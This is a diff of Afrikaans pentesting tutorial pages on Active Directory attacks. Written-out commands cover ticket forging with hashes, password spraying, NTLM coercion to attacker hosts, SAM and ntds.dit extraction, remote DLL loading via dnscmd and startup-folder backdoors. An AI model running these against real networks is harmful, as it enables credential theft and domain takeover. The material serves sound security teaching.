Om hierdie aanval uit te voer, behels die aanvanklike stap die verkryging van die NTLM-hash of wagwoord van die geteikende gebruiker se rekening. Nadat hierdie inligting verkry is, kan 'n Ticket Granting Ticket (TGT) vir die rekening verkry word, wat die aanvaller in staat stel om toegang te verkry tot dienste of masjiene waartoe die gebruiker regte het.
Die proses kan begin word met die volgende opdragte:
```bash
@ -24,13 +24,21 @@ Probleme soos _PyAsn1Error_ of _KDC cannot find the name_ word tipies opgelos de
.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd
```
Hierdie metode weerspieël die **Pass the Key** benadering, met 'n fokus op die oorneem en gebruik van die kaartjie direk vir outentikasie doeleindes. Dit is belangrik om te noem dat die inisiëring van 'n TGT versoek gebeurtenis `4768: A Kerberos authentication ticket (TGT) was requested` aktiveer, wat 'n RC4-HMAC gebruik aandui as standaard, hoewel moderne Windows stelsels AES256 verkies.
Hierdie metode weerspieël die **Pass the Key** benadering, met 'n fokus op die oorneem en gebruik van die kaartjie direk vir outentikasiedoele. Dit is belangrik om te noem dat die inisiëring van 'n TGT versoek die gebeurtenis `4768: A Kerberos authentication ticket (TGT) was requested` aktiveer, wat 'n RC4-HMAC gebruik aandui as standaard, alhoewel moderne Windows stelsels AES256 verkies.
Om aan operasionele sekuriteit te voldoen en AES256 te gebruik, kan die volgende opdrag toegepas word:
```bash
.\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:HASH /nowrap /opsec
```
## Verwysings
## Stealthier version
> [!WARNING]
> Elke aanmeldsessie kan slegs een aktiewe TGT op 'n slag hê, so wees versigtig.
1. Skep 'n nuwe aanmeldsessie met **`make_token`** van Cobalt Strike.
2. Gebruik dan Rubeus om 'n TGT vir die nuwe aanmeldsessie te genereer sonder om die bestaande een te beïnvloed.
## References
- [https://www.tarlogic.com/es/blog/como-atacar-kerberos/](https://www.tarlogic.com/es/blog/como-atacar-kerberos/)

View File

@ -1,16 +1,16 @@
# Wagtwoord Spuit / Brute Force
# Wachtwoord Spuiting / Brute Force
{{#include ../../banners/hacktricks-training.md}}
## **Wagtwoord Spuit**
## **Wachtwoord Spuiting**
Sodra jy verskeie **geldige gebruikersname** gevind het, kan jy die mees **gewone wagwoorde** probeer (hou die wagwoordbeleid van die omgewing in gedagte) met elkeen van die ontdekte gebruikers.\
Volgens **standaard** is die **minimum** **wagwoord** **lengte** **7**.
Deur **standaard** is die **minimum** **wagwoord** **lengte** **7**.
Lyste van algemene gebruikersname kan ook nuttig wees: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
Let daarop dat jy **sekere rekeninge kan sluit as jy verskeie verkeerde wagwoorde probeer** (volgens standaard meer as 10).
Let daarop dat jy **sekere rekeninge kan sluit as jy verskeie verkeerde wagwoorde probeer** (deur standaard meer as 10).
### Kry wagwoordbeleid
@ -51,7 +51,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
```bash
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
```
- Gebruik [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NIE AANBEVEEL NIE, WERK SOMS NIE
- Gebruik [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NIE AANBEVEEL NIE, WERK SOMTYDS NIE
```bash
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
@ -77,8 +77,8 @@ done
# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
```
- Met [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Dit kan gebruikers uit die domein genereer volgens die verstek en dit sal die wagwoordbeleid van die domein kry en pogings volgens dit beperk):
```powershell
- Met [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Dit kan gebruikers uit die domein genereer volgens die verstek en dit sal die wagwoordbeleid van die domein verkry en pogings volgens dit beperk):
```bash
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
```
- Met [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)

View File

@ -4,12 +4,12 @@
## SharpSystemTriggers
[**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers) is a **collection** of **remote authentication triggers** coded in C# using MIDL compiler for avoiding 3rd party dependencies.
[**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers) is 'n **versameling** van **afgeleë autentikasie-triggers** wat in C# gekodeer is met behulp van die MIDL-kompiler om 3departy afhanklikhede te vermy.
## Spooler Service Abuse
As die _**Print Spooler**_ diens **geaktiveer** is, kan jy 'n paar reeds bekende AD-akkrediteerings gebruik om 'n **versoek** aan die Domeinbeheerder se drukbediener te doen vir 'n **opdatering** oor nuwe drukwerk en net vir dit te sê om die **kennisgewing na 'n stelsel te stuur**.\
Let daarop dat wanneer die drukker die kennisgewing na 'n arbitrêre stelsel stuur, dit moet **autentiseer teen** daardie **stelsel**. Daarom kan 'n aanvaller die _**Print Spooler**_ diens laat autentiseer teen 'n arbitrêre stelsel, en die diens sal die **rekenaarrekening** in hierdie autentisering **gebruik**.
As die _**Print Spooler**_ diens **geaktiveer** is, kan jy 'n paar reeds bekende AD-akkrediteerlinge gebruik om 'n **versoek** aan die Domeinbeheerder se drukbediener te doen vir 'n **opdatering** oor nuwe drukwerk en net vir dit te sê om die **kennisgewing na 'n stelsel te stuur**.\
Let daarop dat wanneer die drukker die kennisgewing na 'n arbitrêre stelsels stuur, dit moet **autentiseer teen** daardie **stelsel**. Daarom kan 'n aanvaller die _**Print Spooler**_ diens laat autentiseer teen 'n arbitrêre stelsel, en die diens sal die **rekenaarrekening** in hierdie autentisering **gebruik**.
### Finding Windows Servers on the domain
@ -24,13 +24,13 @@ Gebruik 'n effens aangepaste @mysmartlogin se (Vincent Le Toux se) [SpoolerScann
. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
```
Jy kan ook rpcdump.py op Linux gebruik en soek na die MS-RPRN Protokol
Jy kan ook rpcdump.py op Linux gebruik en soek na die MS-RPRN Protokol.
```bash
rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN
```
### Vra die diens om teen 'n arbitrêre gasheer te verifieer
Jy kan [ **SpoolSample hier van**](https://github.com/NotMedic/NetNTLMtoSilverTicket)** saamstel.**
Jy kan [**SpoolSample van hier**](https://github.com/NotMedic/NetNTLMtoSilverTicket)** saamstel.**
```bash
SpoolSample.exe <TARGET> <RESPONDERIP>
```
@ -41,7 +41,7 @@ printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
```
### Kombinasie met Onbeperkte Delegasie
As 'n aanvaller reeds 'n rekenaar met [Onbeperkte Delegasie](unconstrained-delegation.md) gecompromitteer het, kan die aanvaller **die printer laat outentiseer teen hierdie rekenaar**. As gevolg van die onbeperkte delegasie, sal die **TGT** van die **rekenaarrekening van die printer** **in** die **geheue** van die rekenaar met onbeperkte delegasie **gestoor word**. Aangesien die aanvaller hierdie gasheer reeds gecompromitteer het, sal hy in staat wees om **hierdie kaartjie te onttrek** en dit te misbruik ([Pass the Ticket](pass-the-ticket.md)).
As 'n aanvaller reeds 'n rekenaar met [Onbeperkte Delegasie](unconstrained-delegation.md) gecompromitteer het, kan die aanvaller **die drukker laat outentiseer teen hierdie rekenaar**. As gevolg van die onbeperkte delegasie, sal die **TGT** van die **rekenaarrekening van die drukker** **in** die **geheue** van die rekenaar met onbeperkte delegasie **gestoor word**. Aangesien die aanvaller hierdie gasheer reeds gecompromitteer het, sal hy in staat wees om **hierdie kaartjie te verkry** en dit te misbruik ([Pass the Ticket](pass-the-ticket.md)).
## RCP Force outentisering
@ -51,7 +51,7 @@ https://github.com/p0dalirius/Coercer
## PrivExchange
Die `PrivExchange` aanval is 'n gevolg van 'n fout wat in die **Exchange Server `PushSubscription` kenmerk** gevind is. Hierdie kenmerk laat die Exchange-server toe om deur enige domein gebruiker met 'n posbus gedwing te word om aan enige kliënt-gelewer gasheer oor HTTP te outentiseer.
Die `PrivExchange` aanval is 'n gevolg van 'n fout wat in die **Exchange Server `PushSubscription` kenmerk** gevind is. Hierdie kenmerk laat die Exchange bediener toe om deur enige domein gebruiker met 'n posbus gedwing te word om aan enige kliënt-gelewer gasheer oor HTTP te outentiseer.
Standaard, die **Exchange diens loop as SYSTEM** en word oorgenoeg bevoegdhede gegee (specifiek, dit het **WriteDacl bevoegdhede op die domein voor-2019 Kumulatiewe Opdatering**). Hierdie fout kan benut word om die **oorplasing van inligting na LDAP moontlik te maak en gevolglik die domein NTDS databasis te onttrek**. In gevalle waar oorplasing na LDAP nie moontlik is nie, kan hierdie fout steeds gebruik word om oor te plaas en aan ander gasheer binne die domein te outentiseer. Die suksesvolle benutting van hierdie aanval bied onmiddellike toegang tot die Domein Admin met enige geoutentiseerde domein gebruiker rekening.
@ -82,7 +82,7 @@ Of gebruik hierdie ander tegniek: [https://github.com/p0dalirius/MSSQL-Analysis-
### Certutil
Dit is moontlik om certutil.exe lolbin (Microsoft-onderteken binêre) te gebruik om NTLM-outeentisering te dwing:
Dit is moontlik om certutil.exe lolbin (Microsoft-onderteken binêre) te gebruik om NTLM-outeentifikasie te dwing:
```bash
certutil.exe -syncwithWU \\127.0.0.1\share
```
@ -102,9 +102,15 @@ As jy 'n MitM-aanval op 'n rekenaar kan uitvoer en HTML in 'n bladsy kan inspuit
```html
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
```
## Kraking NTLMv1
## Ander maniere om NTLM-outehentisering te dwing en te phish
As jy [NTLMv1 uitdagings kan vang, lees hier hoe om hulle te kraak](../ntlm/index.html#ntlmv1-attack).\
_Onthou dat jy Responder-uitdaging moet stel op "1122334455667788" om NTLMv1 te kraak._
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
{{#endref}}
## Krake NTLMv1
As jy [NTLMv1 uitdagings kan vang, lees hier hoe om hulle te krake](../ntlm/index.html#ntlmv1-attack).\
_Onthou dat jy Responder-uitdaging moet stel op "1122334455667788" om NTLMv1 te krake._
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,31 +1,31 @@
# Bevoorregte Groepe
# Privileged Groups
{{#include ../../banners/hacktricks-training.md}}
## Goed Bekende groepe met administratiewe voorregte
## Goed bekende groepe met administratiewe voorregte
- **Administrateurs**
- **Domein Administrateurs**
- **Enterprise Administrateurs**
- **Administrators**
- **Domain Admins**
- **Enterprise Admins**
## Rekening Operateurs
Hierdie groep is gemagtig om rekeninge en groepe te skep wat nie administrateurs op die domein is nie. Boonop stel dit plaaslike aanmelding op die Domein Beheerder (DC) in staat.
Hierdie groep is gemagtig om rekeninge en groepe te skep wat nie administrateurs op die domein is nie. Boonop stel dit plaaslike aanmelding op die Domeinbeheerder (DC) in staat.
Om die lede van hierdie groep te identifiseer, word die volgende opdrag uitgevoer:
```powershell
```bash
Get-NetGroupMember -Identity "Account Operators" -Recurse
```
Die toevoeging van nuwe gebruikers is toegelaat, sowel as plaaslike aanmelding by DC01.
Adding new users is toegelaat, sowel as plaaslike aanmelding by DC01.
## AdminSDHolder-groep
## AdminSDHolder groep
Die **AdminSDHolder**-groep se Toegangsbeheerlisensie (ACL) is van kardinale belang aangesien dit toestemmings vir alle "beskermde groepe" binne Active Directory stel, insluitend hoëprivilege groepe. Hierdie meganisme verseker die sekuriteit van hierdie groepe deur ongeoorloofde wysigings te voorkom.
Die **AdminSDHolder** groep se Toegangsbeheerlis (ACL) is van kardinale belang aangesien dit toestemmings vir alle "beskermde groepe" binne Active Directory stel, insluitend hoë-privilege groepe. Hierdie meganisme verseker die sekuriteit van hierdie groepe deur ongeoorloofde wysigings te voorkom.
'n Aanvaller kan hiervan gebruik maak deur die **AdminSDHolder**-groep se ACL te wysig, wat volle toestemmings aan 'n standaard gebruiker verleen. Dit sou daardie gebruiker effektief volle beheer oor alle beskermde groepe gee. As hierdie gebruiker se toestemmings gewysig of verwyder word, sal dit outomaties binne 'n uur hersteld word weens die stelsel se ontwerp.
'n Aanvaller kan hiervan gebruik maak deur die **AdminSDHolder** groep se ACL te wysig, wat volle toestemmings aan 'n standaard gebruiker toeken. Dit sou daardie gebruiker effektief volle beheer oor alle beskermde groepe gee. As hierdie gebruiker se toestemmings gewysig of verwyder word, sal dit binne 'n uur outomaties hersteld word weens die stelsel se ontwerp.
Opdragte om die lede te hersien en toestemmings te wysig sluit in:
```powershell
```bash
Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}
@ -36,7 +36,7 @@ Vir meer besonderhede, besoek [ired.team](https://ired.team/offensive-security-e
## AD Herwinningsblik
Lidmaatskap in hierdie groep stel jou in staat om geleesde aktiewe gidsobjekte te lees, wat sensitiewe inligting kan onthul:
Lidmaatskap in hierdie groep maak dit moontlik om geleesde aktiewe gidsobjekte te lees, wat sensitiewe inligting kan onthul:
```bash
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
```
@ -46,18 +46,18 @@ Toegang tot lêers op die DC is beperk tensy die gebruiker deel is van die `Serv
### Privilege Escalation
Deur `PsService` of `sc` van Sysinternals te gebruik, kan 'n mens diensregte inspekteer en wysig. Die `Server Operators` groep het byvoorbeeld volle beheer oor sekere dienste, wat die uitvoering van arbitrêre opdragte en privilege escalasie toelaat:
Deur `PsService` of `sc` van Sysinternals te gebruik, kan 'n mens diensregte inspekteer en wysig. Die `Server Operators` groep het byvoorbeeld volle beheer oor sekere dienste, wat die uitvoering van arbitrêre opdragte en privilege escalasie moontlik maak:
```cmd
C:\> .\PsService.exe security AppReadiness
```
Hierdie opdrag onthul dat `Server Operators` volle toegang het, wat die manipulasie van dienste vir verhoogde privilige moontlik maak.
Hierdie opdrag onthul dat `Server Operators` volle toegang het, wat die manipulasie van dienste vir verhoogde voorregte moontlik maak.
## Backup Operators
Lidmaatskap in die `Backup Operators` groep bied toegang tot die `DC01` lêerstelsel as gevolg van die `SeBackup` en `SeRestore` privilige. Hierdie privilige stel vouer traversering, lysing, en lêer kopieer vermoëns in staat, selfs sonder eksplisiete toestemmings, deur die gebruik van die `FILE_FLAG_BACKUP_SEMANTICS` vlag. Dit is nodig om spesifieke skripte vir hierdie proses te gebruik.
Lidmaatskap in die `Backup Operators` groep bied toegang tot die `DC01` lêerstelsel as gevolg van die `SeBackup` en `SeRestore` voorregte. Hierdie voorregte stel vouer deurloop, lysing, en lêer kopieer vermoëns in staat, selfs sonder eksplisiete toestemmings, met die gebruik van die `FILE_FLAG_BACKUP_SEMANTICS` vlag. Dit is nodig om spesifieke skrifte vir hierdie proses te gebruik.
Om groepslede te lys, voer uit:
```powershell
```bash
Get-NetGroupMember -Identity "Backup Operators" -Recurse
```
### Plaaslike Aanval
@ -106,7 +106,7 @@ Alternatiewelik, gebruik `robocopy` vir lêer kopieer:
```cmd
robocopy /B F:\Windows\NTDS .\ntds ntds.dit
```
3. Trek `SYSTEM` en `SAM` uit vir hash herwinning:
3. Trek `SYSTEM` en `SAM` uit vir hash-herwinning:
```cmd
reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV
@ -130,16 +130,16 @@ Vir 'n praktiese demonstrasie, sien [DEMO VIDEO WITH IPPSEC](https://www.youtube
## DnsAdmins
Lede van die **DnsAdmins** groep kan hul voorregte benut om 'n arbitrêre DLL met SYSTEM voorregte op 'n DNS-bediener te laai, wat dikwels op Domein Beheerders gehos is. Hierdie vermoë bied 'n beduidende uitbuitingspotensiaal.
Lede van die **DnsAdmins** groep kan hul voorregte benut om 'n arbitrêre DLL met SYSTEM voorregte op 'n DNS-bediener te laai, wat dikwels op Domein Beheerders gehos te word. Hierdie vermoë bied 'n beduidende uitbuitingspotensiaal.
Om lede van die DnsAdmins-groep te lys, gebruik:
```powershell
```bash
Get-NetGroupMember -Identity "DnsAdmins" -Recurse
```
### Voer arbitrêre DLL uit
Lede kan die DNS-bediener dwing om 'n arbitrêre DLL (of plaaslik of vanaf 'n afstandelike deel) te laai met behulp van opdragte soos:
```powershell
Lede kan die DNS-bediener laat laai 'n arbitrêre DLL (of plaaslik of vanaf 'n afstandsdeel) met behulp van opdragte soos:
```bash
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
@ -167,29 +167,29 @@ Vir meer besonderhede oor hierdie aanvalsvector, verwys na ired.team.
#### Mimilib.dll
Dit is ook haalbaar om mimilib.dll te gebruik vir opdraguitvoering, dit aan te pas om spesifieke opdragte of omgekeerde shells uit te voer. [Check this post](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) vir meer inligting.
Dit is ook haalbaar om mimilib.dll te gebruik vir opdraguitvoering, dit te wysig om spesifieke opdragte of omgekeerde shells uit te voer. [Kyk na hierdie pos](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) vir meer inligting.
### WPAD Record vir MitM
### WPAD Rekord vir MitM
DnsAdmins kan DNS-rekords manipuleer om Man-in-the-Middle (MitM) aanvalle uit te voer deur 'n WPAD-record te skep nadat die globale navraagbloklys gedeaktiveer is. Gereedskap soos Responder of Inveigh kan gebruik word om te spoof en netwerkverkeer te vang.
DnsAdmins kan DNS-rekords manipuleer om Man-in-the-Middle (MitM) aanvalle uit te voer deur 'n WPAD-rekord te skep nadat die globale navraagbloklys gedeaktiveer is. Gereedskap soos Responder of Inveigh kan gebruik word om te spoof en netwerkverkeer te vang.
### Event Log Readers
Lede kan toegang tot gebeurtenislogs verkry, wat moontlik sensitiewe inligting soos platte wagwoorde of opdraguitvoeringsbesonderhede kan bevat:
```powershell
### Event Log Readers
Lede kan toegang tot gebeurtenislogs verkry, wat moontlik sensitiewe inligting soos platte wagwoorde of besonderhede van opdraguitvoering kan bevat:
```bash
# Get members and search logs for sensitive information
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}
```
## Exchange Windows Toestemmings
## Exchange Windows Permissies
Hierdie groep kan DACL's op die domein objek wysig, wat moontlik DCSync voorregte toeken. Tegnieke vir voorregte-eskalasie wat hierdie groep benut, is in die Exchange-AD-Privesc GitHub repo gedetailleerd.
```powershell
Hierdie groep kan DACLs op die domeinobjek wysig, wat moontlik DCSync-privileges toeken. Tegnieke vir privilege-eskalasie wat hierdie groep benut, word in die Exchange-AD-Privesc GitHub repo uiteengesit.
```bash
# List members
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
```
## Hyper-V Administrators
Hyper-V Administrators het volle toegang tot Hyper-V, wat benut kan word om beheer oor gevirtualiseerde Domein Beheerders te verkry. Dit sluit die kloon van lewende DBs en die onttrekking van NTLM hashes uit die NTDS.dit-lêer in.
Hyper-V Administrators het volle toegang tot Hyper-V, wat benut kan word om beheer oor virtualiseerde Domein Beheerders te verkry. Dit sluit die kloon van lewende DB's in en die onttrekking van NTLM hashes uit die NTDS.dit-lêer.
### Exploitation Example
@ -203,24 +203,24 @@ Let wel: Hard link uitbuiting is in onlangse Windows-opdaterings gemitigeer.
## Organisasie Bestuur
In omgewings waar **Microsoft Exchange** ontplooi is, hou 'n spesiale groep bekend as **Organisasie Bestuur** beduidende vermoëns. Hierdie groep het die voorreg om **toegang te verkry tot die posbusse van alle domein gebruikers** en handhaaf **volledige beheer oor die 'Microsoft Exchange Security Groups'** Organisatoriese Eenheid (OU). Hierdie beheer sluit die **`Exchange Windows Permissions`** groep in, wat vir voorreg eskalasie benut kan word.
In omgewings waar **Microsoft Exchange** ontplooi is, hou 'n spesiale groep bekend as **Organisasie Bestuur** beduidende vermoëns. Hierdie groep het die voorreg om **toegang te verkry tot die posbusse van alle domein gebruikers** en handhaaf **volledige beheer oor die 'Microsoft Exchange Veiligheidsgroepe'** Organisatoriese Eenheid (OU). Hierdie beheer sluit die **`Exchange Windows Permissions`** groep in, wat uitgebuit kan word vir voorregverhoging.
### Voorreg Uitbuiting en Opdragte
#### Druk Operateurs
Lede van die **Druk Operateurs** groep is toegerus met verskeie voorregte, insluitend die **`SeLoadDriverPrivilege`**, wat hulle toelaat om **lokaal aan te meld by 'n Domein Beheerder**, dit af te sluit, en drukkers te bestuur. Om hierdie voorregte te benut, veral as **`SeLoadDriverPrivilege`** nie sigbaar is onder 'n nie-verhoogde konteks nie, is dit nodig om die Gebruiker Rekening Beheer (UAC) te omseil.
Lede van die **Druk Operateurs** groep is toegerus met verskeie voorregte, insluitend die **`SeLoadDriverPrivilege`**, wat hulle toelaat om **lokaal aan te meld by 'n Domein Beheerder**, dit af te sluit, en drukkers te bestuur. Om hierdie voorregte uit te buit, veral as **`SeLoadDriverPrivilege`** nie sigbaar is onder 'n nie-verhoogde konteks nie, is dit nodig om die Gebruikersrekeningbeheer (UAC) te omseil.
Om die lede van hierdie groep te lys, word die volgende PowerShell-opdrag gebruik:
```powershell
```bash
Get-NetGroupMember -Identity "Print Operators" -Recurse
```
Vir meer gedetailleerde eksploitasi tegnieke rakende **`SeLoadDriverPrivilege`**, moet 'n mens spesifieke sekuriteitsbronne raadpleeg.
Vir meer gedetailleerde uitbuitingstegnieke rakende **`SeLoadDriverPrivilege`**, moet 'n mens spesifieke sekuriteitsbronne raadpleeg.
#### Remote Desktop Users
Die lede van hierdie groep word toegang tot rekenaars via Remote Desktop Protocol (RDP) toegestaan. Om hierdie lede te tel, is PowerShell-opdragte beskikbaar:
```powershell
```bash
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"
```
@ -228,17 +228,17 @@ Verder insigte in die ontginning van RDP kan gevind word in toegewyde pentesting
#### Afgeleë Bestuur Gebruikers
Lede kan toegang tot rekenaars oor **Windows Remote Management (WinRM)** verkry. Opname van hierdie lede word bereik deur:
```powershell
Lede kan toegang tot rekenaars verkry oor **Windows Remote Management (WinRM)**. Opname van hierdie lede word bereik deur:
```bash
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
```
Vir eksploitasiemetodes wat verband hou met **WinRM**, spesifieke dokumentasie moet geraadpleeg word.
Vir eksploitasiemetodes wat verband hou met **WinRM**, moet spesifieke dokumentasie geraadpleeg word.
#### Bediener Operateurs
Hierdie groep het toestemming om verskeie konfigurasies op Domein Beheerders uit te voer, insluitend rugsteun en herstel regte, die verandering van stelseltijd, en die afsluiting van die stelsel. Om die lede te tel, is die opdrag wat verskaf word:
```powershell
Hierdie groep het regte om verskeie konfigurasies op Domein Beheerders uit te voer, insluitend rugsteun- en herstelregte, die verandering van stelseltijd, en die afsluiting van die stelsel. Om die lede te tel, is die opdrag wat verskaf word:
```bash
Get-NetGroupMember -Identity "Server Operators" -Recurse
```
## Verwysings <a href="#references" id="references"></a>

View File

@ -1,13 +1,13 @@
# RDP Sessies Misbruik
# RDP Sessions Abuse
{{#include ../../banners/hacktricks-training.md}}
## RDP Proses Inspuiting
As die **eksterne groep** **RDP-toegang** tot enige **rekenaar** in die huidige domein het, kan 'n **aanvaller** daardie rekenaar **kompromitteer en op hom wag**.
As die **buitelandse groep** **RDP-toegang** tot enige **rekenaar** in die huidige domein het, kan 'n **aanvaller** daardie rekenaar **kompromitteer en op hom wag**.
Sodra daardie gebruiker via RDP toegang verkry het, kan die **aanvaller na daardie gebruiker se sessie pivot** en sy toestemmings in die eksterne domein misbruik.
```powershell
Sodra daardie gebruiker via RDP toegang verkry het, kan die **aanvaller na daardie gebruiker se sessie pivot** en sy toestemmings in die buitelandse domein misbruik.
```bash
# Supposing the group "External Users" has RDP access in the current domain
## lets find where they could access
## The easiest way would be with bloodhound, but you could also run:
@ -36,8 +36,8 @@ Kontroleer **ander maniere om sessies te steel met ander gereedskap** [**op hier
As 'n gebruiker via **RDP in 'n masjien** toegang verkry waar 'n **aanvaller** op hom **wag**, sal die aanvaller in staat wees om 'n **beacon in die RDP-sessie van die gebruiker** te **injekteer** en as die **slagoffer sy skyf gemonteer het** toe hy via RDP toegang verkry, kan die **aanvaller dit toegang**.
In hierdie geval kan jy net die **slagoffer se** **oorspronklike rekenaar** **kompromitteer** deur 'n **backdoor** in die **opstartgids** te skryf.
```powershell
In hierdie geval kan jy net die **slagoffers** **oorspronklike rekenaar** **kompromitteer** deur 'n **backdoor** in die **opstartgids** te skryf.
```bash
# Wait til someone logs in:
net logons
Logged on users at \\localhost:

View File

@ -5,18 +5,18 @@
## Basiese beginsels van Hulpbron-gebaseerde Beperkte Afvaardiging
Dit is soortgelyk aan die basiese [Beperkte Afvaardiging](constrained-delegation.md) maar **in plaas daarvan** om toestemmings aan 'n **objek** te gee om **enige gebruiker teen 'n diens te verteenwoordig**. Hulpbron-gebaseerde Beperkte Afvaardiging **stel** in **die objek wie in staat is om enige gebruiker teen dit te verteenwoordig**.
Dit is soortgelyk aan die basiese [Beperkte Afvaardiging](constrained-delegation.md) maar **in plaas daarvan** om toestemmings aan 'n **objek** te gee om **enige gebruiker teen 'n masjien te verteenwoordig**. Hulpbron-gebaseerde Beperkte Afvaardiging **stel** in **die objek wat in staat is om enige gebruiker teen hom te verteenwoordig**.
In hierdie geval sal die beperkte objek 'n attribuut hê genaamd _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ met die naam van die gebruiker wat enige ander gebruiker teen dit kan verteenwoordig.
In hierdie geval sal die beperkte objek 'n attribuut hê genaamd _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ met die naam van die gebruiker wat enige ander gebruiker teen hom kan verteenwoordig.
Nog 'n belangrike verskil van hierdie Beperkte Afvaardiging teenoor die ander afvaardigings is dat enige gebruiker met **skryftoestemmings oor 'n masjienrekening** (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) die _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ kan stel (In die ander vorme van Afvaardiging het jy domein admin regte nodig gehad).
Nog 'n belangrike verskil van hierdie Beperkte Afvaardiging teenoor die ander afvaardigings is dat enige gebruiker met **skryftoestemmings oor 'n masjienrekening** (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) die **_msDS-AllowedToActOnBehalfOfOtherIdentity_** kan stel (In die ander vorme van Afvaardiging het jy domein admin regte nodig gehad).
### Nuwe Konsepte
Terug by Beperkte Afvaardiging is daar gesê dat die **`TrustedToAuthForDelegation`** vlag binne die _userAccountControl_ waarde van die gebruiker nodig is om 'n **S4U2Self** uit te voer. Maar dit is nie heeltemal waar nie.\
Die werklikheid is dat selfs sonder daardie waarde, jy 'n **S4U2Self** teen enige gebruiker kan uitvoer as jy 'n **diens** (het 'n SPN) is, maar, as jy **`TrustedToAuthForDelegation`** het, sal die teruggegee TGS **Forwardable** wees en as jy **nie het nie** daardie vlag sal die teruggegee TGS **nie** **Forwardable** wees nie.
Die werklikheid is dat selfs sonder daardie waarde, jy 'n **S4U2Self** teen enige gebruiker kan uitvoer as jy 'n **diens** (het 'n SPN) is, maar, as jy **`TrustedToAuthForDelegation`** het, sal die teruggegee TGS **Forwardable** wees en as jy **nie het** daardie vlag nie, sal die teruggegee TGS **nie** **Forwardable** wees nie.
As die **TGS** wat in **S4U2Proxy** gebruik word **NIE Forwardable** is nie, sal dit **nie werk** om 'n **basiese Beperkte Afvaardiging** te misbruik nie. Maar as jy probeer om 'n **Hulpbron-gebaseerde beperkte afvaardiging te ontgin, sal dit werk** (dit is nie 'n kwesbaarheid nie, dit is 'n kenmerk, blykbaar).
As die **TGS** wat in **S4U2Proxy** gebruik word **NIE Forwardable** is nie, sal dit **nie werk** om 'n **basiese Beperkte Afvaardiging** te misbruik nie. Maar as jy probeer om 'n **Hulpbron-gebaseerde beperkte afvaardiging te ontgin, sal dit werk**.
### Aanvalstruktuur
@ -24,7 +24,7 @@ As die **TGS** wat in **S4U2Proxy** gebruik word **NIE Forwardable** is nie, sal
Neem aan dat die aanvaller reeds **skrywequivalente regte oor die slagoffer rekenaar** het.
1. Die aanvaller **kompromitteer** 'n rekening wat 'n **SPN** het of **skep een** (“Diens A”). Let daarop dat **enige** _Admin Gebruiker_ sonder enige ander spesiale regte tot **10** **Rekenaarobjekte** (_**MachineAccountQuota**_) kan **skep** en hulle 'n **SPN** kan stel. So die aanvaller kan net 'n Rekenaarobjek skep en 'n SPN stel.
1. Die aanvaller **kompromitteer** 'n rekening wat 'n **SPN** het of **skep een** (“Diens A”). Let daarop dat **enige** _Admin Gebruiker_ sonder enige ander spesiale regte tot 10 Rekenaarobjekte kan **skep** (**_MachineAccountQuota_**) en hulle 'n **SPN** kan stel. So die aanvaller kan net 'n Rekenaarobjek skep en 'n SPN stel.
